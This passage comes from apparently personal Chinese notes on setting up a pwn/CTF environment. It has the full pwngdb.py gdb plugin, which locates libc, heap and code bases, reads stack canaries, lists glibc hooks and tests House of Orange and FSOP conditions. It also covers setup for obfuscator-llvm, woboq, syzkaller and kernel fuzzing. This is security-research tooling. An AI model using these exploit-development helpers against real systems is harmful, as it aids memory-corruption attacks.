  • off: gdb将控制父进程和子进程。follow-fork-mode指定的进程将被调试,另一个进程置于暂停(suspended)状态。
1
2
3
4
ptype/o struct 获取结构体的偏移量
ptype/o struct user_key_payload
ptype 获取定义
ptype sturct user_key_payload

pwngdb.py

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
from __future__ import print_function
import gdb
import subprocess
import re
import copy
from os import path

directory, file = path.split(__file__)
directory       = path.expanduser(directory)
directory       = path.abspath(directory)
#sys.path.append(directory)

# arch
capsize = 0
word = ""
arch = ""
magic_variable = ["__malloc_hook","__free_hook","_IO_2_1_stdin_","_IO_2_1_stdout_","_IO_2_1_stderr_","_IO_list_all","__after_morecore_hook"]
magic_function = ["system","execve","open","read","write","gets","setcontext","__libc_realloc"]


def to_int(val):
    """
    Convert a string to int number
    from https://github.com/longld/peda
    """
    try:
        return int(str(val), 0)
    except:
        return None

def normalize_argv(args, size=0):
    """
    Normalize argv to list with predefined length
    from https://github.com/longld/peda
    """
    args = list(args)
    for (idx, val) in enumerate(args):
        if to_int(val) is not None:
            args[idx] = to_int(val)
        if size and idx == size:
            return args[:idx]

    if size == 0:
        return args
    for i in range(len(args), size):
        args += [None]
    return args

class PwnCmd(object):
    commands = []
    prevbp = []
    bpoff = []
    def __init__(self):
        # list all commands
        self.commands = [cmd for cmd in dir(self) if callable(getattr(self, cmd)) ]  

    def libc(self):
        """ Get libc base """
        libcbs = libcbase()

        print("\033[34m" + "libc : " + "\033[37m" + hex(libcbs))

    def heapbase(self):
        """ Get heapbase """
        heapbase = getheapbase()
        if heapbase :
            print("\033[34m" + "heapbase : " + "\033[37m" + hex(heapbase))
        else :
            print("heap not found")


    def ld(self):
        """ Get ld.so base """
        print("\033[34m" + "ld : " + "\033[37m" + hex(ldbase()))

    def codebase(self):
        """ Get text base """
        codebs = codeaddr()[0]
        print("\033[34m" + "codebase : " + "\033[37m" + hex(codebs))

    def tls(self):
        """ Get tls base """
        print("\033[34m" + "tls : " + "\033[37m" + hex(gettls()))

    def canary(self):
        """ Get canary value """
        print("\033[34m" + "canary : " + "\033[37m" + hex(getcanary()))

    def fmtarg(self,*arg):
        (addr,) = normalize_argv(arg,1)
        getfmtarg(addr)

    def off(self,*arg) :
        """ Calculate the offset of libc """
        #(sym,)= normalize_argv(arg,1)
        (sym,) = normalize_argv(arg,1)
        symaddr = getoff(sym)
        if symaddr == 0 :
            print("Not found the symbol")
        else :
            if type(sym) is int :
                print("\033[34m" + hex(sym)  + ":" + "\033[37m" +hex(symaddr))
            else :
                print("\033[34m" + sym  + ":" + "\033[37m" +hex(symaddr))
    def offf(self,*arg) :
        """ Calculate the offset of libc """
        #(sym,)= normalize_argv(arg,1)
        (sym,) = normalize_argv(arg,1)
        codebs = codeaddr()[0]
        print("\033[34m" + hex(sym)  + ":" + "\033[37m" +hex(sym - codebs))
    def fp(self,*arg):
        """ show FILE structure """
        (addr,) = normalize_argv(arg,1)
        showfp(addr)

    def fpchain(self):
        """ show FILE chain """
        showfpchain()

    def orange(self,*arg):
        """ test house of orange """
        (addr,) = normalize_argv(arg,1)
        if addr :
            testorange(addr)
        else :
            print("You need to specifiy an address")

    def fsop(self,*arg):
        """ test fsop """
        (addr,) = normalize_argv(arg,1)
        testfsop(addr) 

    def magic(self):
        """ Print usefual variables or function in glibc """
        getarch()
        
        try :
            print("========== function ==========")
            for f in magic_function :
                print("\033[34m" + f  + ":" + "\033[33m" +hex(getoff(f))) 
            print("\033[00m========== variables ==========")
            for v in magic_variable :
                cmd = "x/" + word + "&" +v
                content = gdb.execute(cmd,to_string=True).split(":")[1].strip()
                offset = hex(getoff("&"+ v))
                pad = 36 - len(v) - len(offset) - 2
                print("\033[34m%s\033[33m(%s)\033[37m%s: \033[37m%s" % (v, offset, ' ' *pad, content))
        except :
            print("You need run the program first")


    def findsyscall(self):
        """ find the syscall gadget"""
        arch = getarch()
        start,end = codeaddr()
        if arch == "x86-64" :
            gdb.execute("find 0x050f " + hex(start) + " " + hex(end) )
        elif arch == "i386":
            gdb.execute("find 0x80cd " + hex(start) + " " + hex(end) )
        elif arch == "arm":
            gdb.execute("find 0xbc80df00 " + hex(start) + " " + hex(end) )
        elif arch == "aarch64":
            gdb.execute("find 0xd4000001 " + hex(start) + " " + hex(end) )
        else :
            print("error")

    def got(self):
        """ Print the got table """
        processname = getprocname()
        if processname :
            cmd = "objdump -R "
            if iscplus :
                cmd += "--demangle "
            cmd += "\"" + processname + "\""
            got = subprocess.check_output(cmd,shell=True)[:-2].decode('utf8')
            print(got)
        else :
            print("No current process or executable file specified." )

    def dyn(self):
        """ Print dynamic section """
        processname = getprocname()
        if processname :
            dyn = subprocess.check_output("readelf -d \"" + processname + "\"",shell=True).decode('utf8')
            print(dyn)
        else :
            print("No current process or executable file specified." )
    def readelf(self):
        """Print the seccons"""
        processname = getprocname()
        elfinfo = {}
        codebs = codeaddr()[0]
        out = subprocess.check_output("readelf -W -S \"" + processname + "\"",shell = True).decode('utf-8')
        if not out:
            return {}
        p = re.compile(".*\[.*\] (\.[^ ]*) [^0-9]* ([^ ]*) [^ ]* ([^ ]*)(.*)")
        matches = p.findall(out)
        if not matches:
            return {}
        # print(matches)
        """[('.interp', '0000000000000318', '00001c', ' 00   A  0   0  1'), ('.note.gn]"""
        for (hname, start, size, attr) in matches:
            start,end = int(start,16),int(start,16) + int(size,16)
            if start == 0:
                continue
            if start < codebs:
                start += codebs
            if end < codebs:
                end += codebs
            if "X" in attr:
                htype = "code"
            elif "W" in attr:
                htype = "data"
            else:
                htype = "rodata"
            elfinfo[hname.strip()] = (start,end,htype)
        result = {}
        result = elfinfo
        for (k, (start, end, type)) in sorted(result.items(), key=lambda x: x[1]):
                print("%s = 0x%x" % (k, start))
            

    def rop(self):
        """ ROPgadget """
        procname = getprocname()
        if procname :
            subprocess.call("ROPgadget --binary \"" + procname +"\"",shell=True)
        else :
            print("No current process or executable file specified." )

    def findcall(self,*arg):
        """ Find some function call """
        (sym,)= normalize_argv(arg,1)
        output = searchcall(sym)
        print(output)

    def at(self,*arg):
        """ Attach by processname """
        (processname,) = normalize_argv(arg,1)
        if not processname :
            processname = getprocname(relative=True)
            if not processname :
                print("Attaching program: ")
                print("No executable file specified.")
                print("Use the \"file\" or \"exec-file\" command.")
                return
        try :
            print("Attaching to %s ..." % processname)
            pidlist = subprocess.check_output("pidof " + processname,shell=True).decode('utf8').split()
            gdb.execute("attach " + pidlist[0])
            getheapbase()
            libcbase()
            codeaddr()
            ldbase()
        except :
            print( "No such process" )

    def bcall(self,*arg):
        """ Set the breakpoint at some function call """
        (sym,)= normalize_argv(arg,1)
        call = searchcall(sym)
        if "not found" in call :
            print("symbol not found")
        else :
            if ispie():
                codebaseaddr,codeend = codeaddr()
                for callbase in call.split('\n')[:-1]: 
                    addr = int(callbase.split(':')[0],16) + codebaseaddr
                    cmd = "b*" + hex(addr)
                    print(gdb.execute(cmd,to_string=True))
            else:
                for callbase in  call.split('\n')[:-1]:
                    addr = int(callbase.split(':')[0],16)
                    cmd = "b*" + hex(addr)
                    print(gdb.execute(cmd,to_string=True))

    def boff(self,*arg):
        """ Set the breakpoint at some offset from base address """
        (sym,) = normalize_argv(arg,1)
        codebaseaddr,codeend = codeaddr()
        if sym not in self.bpoff:
            self.bpoff.append(sym)
        cmd = "b*" + hex(codebaseaddr + sym)
        x = gdb.execute(cmd,to_string=True)
        y = x.rstrip().split("\n")[-1].split()[1]
        self.prevbp.append(y)
        print(x.rstrip())

    def tboff(self,*arg):
        """ Set temporary breakpoint at some offset from base address """
        (sym,) = normalize_argv(arg,1)
        codebaseaddr,codeend = codeaddr()
        cmd = "tb*" + hex(codebaseaddr + sym)
        print(gdb.execute(cmd,to_string=True))

    def atboff(self,*arg):
        """ Attach and set breakpoints accordingly """
        (sym,) = normalize_argv(arg,1)
        cmd = "attach " + str(sym)
        print(gdb.execute(cmd,to_string=True))
        x = len(self.prevbp)
        while x > 0:
            i = self.prevbp.pop(0)
            cmd = "del " + i
            gdb.execute(cmd,to_string=True)
            x -= 1
        for i in self.bpoff:
            self.boff(hex(i))

    def doff(self,*arg):
        """ Delete the breakpoint using breakpoint number at some offset from base address """
        (sym,) = normalize_argv(arg,1)
        if str(sym) not in self.prevbp:
            return
        codebaseaddr,codeend = codeaddr()
        cmd = "i b " + str(sym)
        x = gdb.execute(cmd,to_string=True)
        y = int(x.rstrip().split("\n")[1].split()[4], 16) - codebaseaddr
        cmd = "del " + str(sym)
        print(gdb.execute(cmd,to_string=True).rstrip())
        self.bpoff.remove(y)
        self.prevbp.remove(str(sym))

    def xo(self,*arg):
        """ Examine at offset from base address """
        (_,arg1,) = normalize_argv(arg,2)
        cmd = "x" + arg[0] + " "
        if arg1:
            codebaseaddr,_ = codeaddr()
            cmd += hex(codebaseaddr + arg1)
        print(gdb.execute(cmd,to_string=True)[:-1])

class PwngdbCmd(gdb.Command):
    """ Pwngdb command wrapper """
    def __init__(self):
        super(PwngdbCmd,self).__init__("pwngdb",gdb.COMMAND_USER)

    def try_eval(self, expr):
        try:
            return gdb.parse_and_eval(expr)
        except:
            #print("Unable to parse expression: {}".format(expr))
            return expr

    def eval_argv(self, expressions):
        """ Leave command alone, let GDB parse and evaluate arguments """
        return [expressions[0]] + [ self.try_eval(expr) for expr in expressions[1:] ]

    def invoke(self,args,from_tty):
        self.dont_repeat()
        # Don't eval expression in PwngdbCmd commands
        #expressions = gdb.string_to_argv(args)
        #arg = self.eval_argv(expressions)
        arg = args.split()
        if len(arg) > 0 :
            cmd = arg[0]
            if cmd in pwncmd.commands :
                func = getattr(pwncmd,cmd)
                func(*arg[1:])
            else :
                print("Unknown command")
        else :
            print("Unknown command")

        return 

class PwngdbAlias(gdb.Command):
    """ Pwngdb Alias """

    def __init__(self,alias,command):
        self.command = command
        super(PwngdbAlias,self).__init__(alias,gdb.COMMAND_NONE)

    def invoke(self,args,from_tty):
        self.dont_repeat()
        gdb.execute("%s %s" % (self.command,args))

def getarch():
    global capsize
    global word
    global arch
    data = gdb.execute('show arch',to_string = True)
    tmp =  re.search("currently.*",data)
    if tmp :
        info = tmp.group()
        if "x86-64" in info:
            capsize = 8
            word = "gx "
            arch = "x86-64"
            return "x86-64"
        elif "aarch64" in info :
            capsize = 8
            word = "gx "
            arch = "aarch64"
            return "aarch64"
        elif "arm" in info :
            capsize = 4
            word = "wx "
            arch = "arm"
            return "arm"
        else :
            word = "wx "
            capsize = 4
            arch = "i386"
            return  "i386"
    else :
        return "error"

def procmap():
    data = gdb.execute('info proc exe',to_string = True)
    pid = re.search('process.*',data)
    if pid :
        pid = pid.group()
        pid = pid.split()[1]
        maps = open("/proc/" + pid + "/maps","r")
        infomap = maps.read()
        maps.close()
        return infomap
    else :
        return "error"

def iscplus():
    name = getprocname()
    data = subprocess.check_output("readelf -s " + name,shell=True).decode('utf8')
    if "CXX" in data :
        return True
    else :
        return False

def getprocname(relative=False):
    procname = None
    try:
        data = gdb.execute("info proc exe",to_string=True)
        procname = re.search("exe.*",data).group().split("=")[1][2:-1]
    except:
        data = gdb.execute("info files",to_string=True)
        if data:
            procname = re.search('Symbols from "(.*)"',data).group(1)
    if procname and relative :
        return procname.split("/")[-1]
    return procname

def libcbase():
    infomap = procmap()
    data = re.search(".*libc.*\.so",infomap)
    if data :
        libcaddr = data.group().split("-")[0]
        gdb.execute("set $libc=%s" % hex(int(libcaddr,16)))
        return int(libcaddr,16)
    else :
        return 0

def ldbase():
    infomap = procmap()
    data = re.search(".*ld.*\.so",infomap)
    if data :
        ldaddr = data.group().split("-")[0]
        gdb.execute("set $ld=%s" % hex(int(ldaddr,16)))
        return int(ldaddr,16)
    else :
        return 0

def getheapbase():
    infomap = procmap()
    data = re.search(".*heap\]",infomap)
    if data :
        heapbase = data.group().split("-")[0]
        gdb.execute("set $heap=%s" % hex(int(heapbase,16)))
        return int(heapbase,16)
    else :
        return 0

def codeaddr(): # ret (start,end)
    infomap = procmap()
    procname = getprocname()
    pat = ".*" + procname
    data = re.findall(pat,infomap)
    if data :
        codebaseaddr = data[0].split("-")[0]
        codeend = data[0].split("-")[1].split()[0]
        gdb.execute("set $code=%s" % hex(int(codebaseaddr,16)))
        return (int(codebaseaddr,16),int(codeend,16))
    else :
        return (0,0)

def gettls():
    arch = getarch()
    if arch == "i386" :
        vsysaddr = gdb.execute("info functions __kernel_vsyscall",to_string=True).split("\n")[-2].split()[0].strip()
        sysinfo= gdb.execute("find " + vsysaddr,to_string=True).split("\n")[2]
        match = re.search(r"0x[0-9a-z]{8}",sysinfo)
        if match :
            tlsaddr = int(match.group(),16) - 0x10
        else:
            return "error"
        return tlsaddr
    elif arch == "x86-64" :
        gdb.execute("call (int)arch_prctl(0x1003,$rsp-8)",to_string=True)
        data = gdb.execute("x/xg $rsp-8",to_string=True)
        return int(data.split(":")[1].strip(),16)
    else:
        return "error"

def getcanary():
    arch = getarch()
    tlsaddr = gettls()
    if arch == "i386" :
        offset = 0x14
        result = gdb.execute("x/xw " + hex(tlsaddr + offset),to_string=True).split(":")[1].strip()
        return int(result ,16)   
    elif arch == "x86-64" :
        offset = 0x28
        result = gdb.execute("x/xg " + hex(tlsaddr + offset),to_string=True).split(":")[1].strip()
        return int(result,16)
    else :
        return "error"

def getoff(sym):
    libc = libcbase()
    if type(sym) is int :
        return sym-libc
    else :
        try :
            data = gdb.execute("x/x " + sym ,to_string=True)
            if "No symbol" in data:
                return 0
            else :
                data = re.search("0x.*[0-9a-f] ",data)
                data = data.group()
                symaddr = int(data[:-1] ,16)
                return symaddr-libc
        except :
            return 0

def searchcall(sym):
    procname = getprocname()
    cmd = "objdump -d -M intel "
    if iscplus :
        cmd += "--demangle "
    cmd += "\"" + procname + "\""
    try :
        call = subprocess.check_output(cmd
                + "| grep \"call.*" + sym + "@plt>\""  ,shell=True).decode('utf8')
        return call
    except :
        return "symbol not found"

def ispie():
    procname = getprocname()
    result = subprocess.check_output("readelf -h " + "\"" + procname +"\"",shell=True).decode('utf8')
    if re.search("DYN",result):
        return True
    else:
        return False

def get_reg(reg):
    cmd = "info register " + reg
    result = int(gdb.execute(cmd,to_string=True).split()[1].strip(),16)
    return result

def showfp(addr):
    if addr : 
        cmd = "p *(struct _IO_FILE_plus *)" + hex(addr)
        try :
            result = gdb.execute(cmd)
        except :
            print("Can't not access 0x%x" % addr)
    else :
        print("You need to specify an address")

def showfpchain():
    getarch()
    cmd = "x/" + word + "&_IO_list_all"
    head = int(gdb.execute(cmd,to_string=True).split(":")[1].strip(),16)
    print("\033[32mfpchain:\033[1;37m ",end = "")
    chain = head
    print("0x%x" % chain,end = "")
    try :
        while chain != 0 :
            print(" --> ",end = "")
            cmd = "x/" + word + "&((struct _IO_FILE_plus *)" + hex(chain) +").file._chain"
            chain = int(gdb.execute(cmd,to_string=True).split(":")[1].strip(),16)
            print("0x%x" % chain,end = "")
        print("")
    except :
        print("Chain is corrupted")

def testorange(addr):
    getarch()
    result = True
    cmd = "x/" + word + "&((struct _IO_FILE_plus *)" + hex(addr) + ").file._mode"
    mode = int(gdb.execute(cmd,to_string=True).split(":")[1].strip(),16) & 0xffffffff
    cmd = "x/" + word + "&((struct _IO_FILE_plus *)" + hex(addr) + ").file._IO_write_ptr"
    write_ptr = int(gdb.execute(cmd,to_string=True).split(":")[1].strip(),16)
    cmd = "x/" + word + "&((struct _IO_FILE_plus *)" + hex(addr) + ").file._IO_write_base"
    write_base = int(gdb.execute(cmd,to_string=True).split(":")[1].strip(),16)
    if mode < 0x80000000 and mode != 0:
        try :
            cmd = "x/" + word + "&((struct _IO_FILE_plus *)" + hex(addr) + ").file._wide_data"
            wide_data = int(gdb.execute(cmd,to_string=True).split(":")[1].strip(),16)
            cmd = "x/" + word + "&((struct _IO_wide_data *)" + hex(wide_data) + ")._IO_write_ptr"
            w_write_ptr = int(gdb.execute(cmd,to_string=True).split(":")[1].strip(),16)
            cmd = "x/" + word + "&((struct _IO_wide_data *)" + hex(wide_data) + ")._IO_write_base"
            w_write_base = int(gdb.execute(cmd,to_string=True).split(":")[1].strip(),16)
            if w_write_ptr <= w_write_base :
                print("\033[;1;31m_wide_data->_IO_write_ptr(0x%x) < _wide_data->_IO_write_base(0x%x)\033[1;37m" % (w_write_ptr,w_write_base))
                result = False
        except :
            print("\033;1;31mCan't access wide_data\033[1;37m")
            result = False
    else :
        if write_ptr <= write_base :
            print("\033[;1;31m_IO_write_ptr(0x%x) < _IO_write_base(0x%x)\033[1;37m" % (write_ptr,write_base))
            result = False  
    if result :
        print("Result : \033[34mTrue\033[37m")
        cmd = "x/" + word + "&((struct _IO_FILE_plus *)" + hex(addr) + ").vtable.__overflow"
        overflow = int(gdb.execute(cmd,to_string=True).split(":")[1].strip(),16)
        print("Func : \033[33m 0x%x\033[1;37m" % overflow)
    else :
        print("Result : \033[31mFalse\033[1;37m")

def testfsop(addr=None):
    getarch()
    if addr :
        cmd = "x/" + word + hex(addr)
    else :
        cmd = "x/" + word + "&_IO_list_all"
    head = int(gdb.execute(cmd,to_string=True).split(":")[1].strip(),16)
    chain = head
    print("---------- fp : 0x%x ----------" % chain)
    testorange(chain)
    try :
        while chain != 0 :
            cmd = "x/" + word + "&((struct _IO_FILE_plus *)" + hex(chain) +").file._chain"
            chain = int(gdb.execute(cmd,to_string=True).split(":")[1].strip(),16)
            if chain != 0 :
                print("---------- fp : 0x%x ----------" % chain)
                testorange(chain)
    except :
        print("Chain is corrupted")

def getfmtarg(addr):
    if capsize == 0 :
        getarch()
    if arch == "i386" :
        start = get_reg("esp")
        idx = (addr- start)/4
        print("The index of format argument : %d (\"\%%%d$p\")" % (idx,idx - 1))
    elif arch == "x86-64" :
        start = get_reg("rsp")
        idx = (addr - start)/8 + 6
        print("The index of format argument : %d (\"\%%%d$p\")" % (idx,idx - 1))
    else :
        print("Not support the arch")

pwncmd = PwnCmd()
PwngdbCmd()
for cmd in pwncmd.commands :
    PwngdbAlias(cmd,"pwngdb %s" % cmd)

gdb.execute("set print asm-demangle on") 

源码调试

清华源

https://tuchuang-1304629987.cos.ap-chengdu.myqcloud.com//image/20393921-68b6f81847981f96.png

1
set substitute-path /build/glibc-CVJwZb/glibc-2.27/ /home/ubuntu/glibc/glibc-2.27/

https://tuchuang-1304629987.cos.ap-chengdu.myqcloud.com//image/20393921-8fc4236dbd4bc3b9.png

莫名奇妙的bug

1
2
3
4
5
6
7
8
9
解决vmware安装vm-tools无效
sudo apt-get autoremove open-vm-tools
sudo apt-get install open-vm-tools-desktop
reboot 

解决vmware和hyper-v冲突
bcdedit /set hypervisorlaunchtype off
解决吞字
禁用usb间接性暂停

woboq

woboq是一款优秀的代码阅读器

glibc

glibc源码

1
git clone https://sourceware.org/git/glibc.git && cd glibc

安装bear

1
sudo apt-get install bear

安装woboq

编译完后 ./generator/codebrowser_generator 是代码生成器, ./indexgenerator/codebrowser_indexgenerator 是索引生成器.

1
2
3
4
5
sudo apt-get install llvm-12 clang-12 libclang-12-dev
git clone https://github.com/KDAB/codebrowser
cd codebrowser
cmake . -DCMAKE_BUILD_TYPE=Release
make

使用bear编译glibc源码 (例如2.34)

生成 compile_commands.json 文件

中间会提示很多东西缺少或者版本太低了,缺啥补啥就行了

1
2
3
4
cd glibc
git checkout release/2.34/master
../configure --prefix=/usr --disable-werror
bear make

解析

1
2
3
4
5
6
# ./generator/codebrowser_generator -b $BUILD_DIRECTORY -a -o $OUTPUT_DIRECTORY -p codebrowser:$SOURCE_DIRECTORY:$VERSION
# ./indexgenerator/codebrowser_indexgenerator $OUTPUT_DIRECTORY
# cp -rv ./data $DATA_DIRECTORY
./generator/codebrowser_generator -b /home/ubuntu/glibc/build -a -o /home/ubuntu/woboq/glibc/2.34 -p 2.34:/home/ubuntu/glibc:2.34
./indexgenerator/codebrowser_indexgenerator /home/ubuntu/woboq/glibc/2.34
cp -rv ./data /home/ubuntu/woboq/glibc/data
1
cd /home/ubuntu/woboq/glibc/ && python3 -m http.server 9999

https://tuchuang-1304629987.cos.ap-chengdu.myqcloud.com//image/image-20230220223230920.png

woboq afl

前提:

1
afl源码、woboq、bear

生成compile_commands.json文件

1
2
3
4
cd ~
git clone https://github.com/google/AFL afl
cd afl
sudo bear make

解析

1
2
3
4
cd ~/codebrowser
./generator/codebrowser_generator -b /home/ubuntu/afl/ -a -o /home/ubuntu/woboq/afl/2.57 -p 2.57:/home/ubuntu/afl:2.57
./indexgenerator/codebrowser_indexgenerator /home/ubuntu/woboq/afl/2.57
sudo cp -rv ./data /home/ubuntu/woboq/afl/data
1
cd /home/ubuntu/woboq/afl/ && python3 -m http.server 9999

https://tuchuang-1304629987.cos.ap-chengdu.myqcloud.com//image/image-20230313225940580.png

obfuscator-llvm

需要用gcc-8 g++-8

1
2
3
4
git clone -b llvm-4.0 https://github.com/obfuscator-llvm/obfuscator.git
sudo apt-get install gcc-8 g++-8 -y
sudo update-alternatives --install /usr/bin/gcc gcc /usr/bin/gcc-8 8 #配置优先级
sudo update-alternatives --install /usr/bin/g++ g++ /usr/bin/g++-8 8 #配置优先级

修改/include/llvm/ExecutionEngine/Orc/OrcRemoteTargetClient.h

定位到第690行 把char 改成 uint_8

https://tuchuang-1304629987.cos.ap-chengdu.myqcloud.com//image/image-20230125180925811.png

1
2
3
4
5
cd obfuscator
mkdir build
cd build
cmake -DCMAKE_BUILD_TYPE=Release -DLLVM_INCLUDE_TESTS=OFF /home/ubuntu/obfuscator/
sudo make -j7

https://tuchuang-1304629987.cos.ap-chengdu.myqcloud.com//image/image-20230125181338709.png

编译到后面,即使没有到 100%全部成功, 只要4个关键文件clang clang++ clang-4.0 clang-format 是在的

例子

1
~/obfuscator/build/bin/clang pwn.c -o pwn -mllvm -fla -mllvm -sub -mllvm -sub_loop=3 -mllvm -bcf -mllvm -bcf_prob=40 

开启控制流扁平化

-mllvm -fla 开启控制流扁平化 -mllvm -split 激活基本块划分。一起使用时能提高打平能力。 -mllvm -split_num=3 如果激活控制流打平,对每一个基本块应用三次控制流打平。默认使用1次。

开启指令替换

-mllvm -sub 开启指令替换 -mllvm -sub_loop=3 如果激活了指令替换,使用这个选项在一个函数中应用3次指令替换。默认应用1次。

开启虚假控制流

-mllvm -bcf 开启虚假控制流 bcf可以配合下面参数使用 -mllvm -bcf_loop=3 设置函数混淆次数为3次 不加此选项默认为1次 -mllvm -bcf_prob=40 设置代码块被混淆的概率是40%,默认30%

pwn题批量部署

ida静态编译符号表恢复

快捷键:shift + f5

1
git clone https://github.com/push0ebp/sig-database.git

把需要的sig文件放到对应架构的文件夹下面即可

https://tuchuang-1304629987.cos.ap-chengdu.myqcloud.com//image/image-20230414215213372.png

syzkaller环境搭建

1
2
3
4
5
6
7
8
wget https://dl.google.com/go/go1.21.4.linux-amd64.tar.gz
tar -xf go1.21.4.linux-amd64.tar.gz
export GOROOT=`pwd`/go
export PATH=$GOROOT/bin:$PATH
sudo apt install build-essential flex bison libssl-dev libelf-dev bc qemu
git clone https://github.com/google/syzkaller
cd syzkaller
sudo make all

linux 内核编译

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
sudo apt-get install git fakeroot build-essential ncurses-dev xz-utils libssl-dev bc flex libelf-dev bison zstd -y
wget https://mirrors.tuna.tsinghua.edu.cn/kernel/v5.x/linux-5.10.102.tar.gz
unar linux-5.10.102.tar.gz
cd linux-5.10.102/
make menuconfig
or
make defconfig
增加config中的内容
make olddefconfig
make -j`nproc`

勾选

  • Kernel hacking -> Compile-time checks and compiler options -> Compile the kernel with debug info
  • Kernel hacking -> Generic Kernel Debugging Instruments -> KGDB: kernel debugger

config

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# Coverage collection.
CONFIG_KCOV=y

CONFIG_KCOV_INSTRUMENT_ALL=y

CONFIG_KCOV_ENABLE_COMPARISONS=y

CONFIG_DEBUG_FS=y

# Debug info for symbolization.
CONFIG_DEBUG_INFO=y
CONFIG_RANDOMIZE_BASE=n
CONFIG_DEBUG_INFO_DWARF4=y

# Memory bug detector
CONFIG_KASAN=y
CONFIG_KASAN_INLINE=y

# Required for Debian Stretch
CONFIG_CONFIGFS_FS=y
CONFIG_SECURITYFS=y

CONFIG_CMDLINE_BOOL=y
CONFIG_CMDLINE="net.ifnames=0"
CONFIG_BINFMT_MISC=y

CONFIG_VIRTIO_NET=y
CONFIG_E1000=y
CONFIG_E1000E=y
CONFIG_UBSAN=y
CONFIG_KCSAN=y
CONFIG_BPF_SYSCALL=y
CONFIG_BPF_JIT=y
CONFIG_BPF_JIT_ALWAYS_ON=y
CONFIG_UBSAN_SHIFT=y
CONFIG_UBSAN_DIV_ZERO=y
1
sudo make bzImage -j$(nproc) && sudo make modules -j$(nproc)

编译出的在arch/x86_64/boot/bzImage

使用

1
2
3
4
5
6
7
sudo apt-get install debootstrap qemu-system
mkdir image  
cd image/  
wget https://raw.githubusercontent.com/google/syzkaller/master/tools/create-image.sh -O create-image.sh  
chmod +x create-image.sh  
./create-image.sh
vim start.sh
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
qemu-system-x86_64 \
  -m 2G \
  -smp 2 \
  -kernel /home/ubuntu/fuzz/linux-6.2/arch/x86/boot/bzImage \
  -append "console=ttyS0 root=/dev/sda earlyprintk=serial net.ifnames=0" \
  -drive file=/home/ubuntu/fuzz_tools/image/bullseye.img,format=raw \
  -net user,host=10.0.2.10,hostfwd=tcp:127.0.0.1:10021-:22 \
  -net nic,model=e1000 \
  -enable-kvm \
  -nographic \
  -pidfile vm.pid \
  2>&1 | tee vm.log
1
ssh -i bullseye.id_rsa -p 10021 -o "StrictHostKeyChecking no" root@localhost

可能存在的问题

https://tuchuang-1304629987.cos.ap-chengdu.myqcloud.com//image/20240105215005-231.png

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
{
  "target": "linux/amd64",
  "http": "0.0.0.0:56741",
  "workdir": "/home/ubuntu/fuzz_tools/image/workdirr",
  "kernel_obj": "/home/ubuntu/fuzz/linux-6.2",
  "image": "/home/ubuntu/fuzz_tools/image/bullseye.img",
  "sshkey": "/home/ubuntu/fuzz_tools/image/bullseye.id_rsa",
  "syzkaller": "/home/ubuntu/fuzz_tools/syzkaller",
  "procs": 8,
  "type": "qemu",
  "vm": {
    "count": 4,
    "cmdline": "net.ifnames=0",
    "kernel": "/home/ubuntu/fuzz/linux-6.2/arch/x86/boot/bzImage",
    "cpu": 4,
    "mem": 4096
  }
}

kernel相关

常用命令

查看保护机制

1
cat /sys/devices/system/cpu/vulnerabilities/*

查看slab

1
cat /proc/slabinfo

查看slab

1
2
3
4
5
6
admin@vm:~$ sudo cat /sys/kernel/slab/filp/object_size # 每个object的大小
256
admin@vm:~$ sudo cat /sys/kernel/slab/filp/objs_per_slab # 每个slab中可容纳多少object
16
admin@vm:~$ sudo cat /sys/kernel/slab/filp/cpu_partial # cpu partial list最大阈值
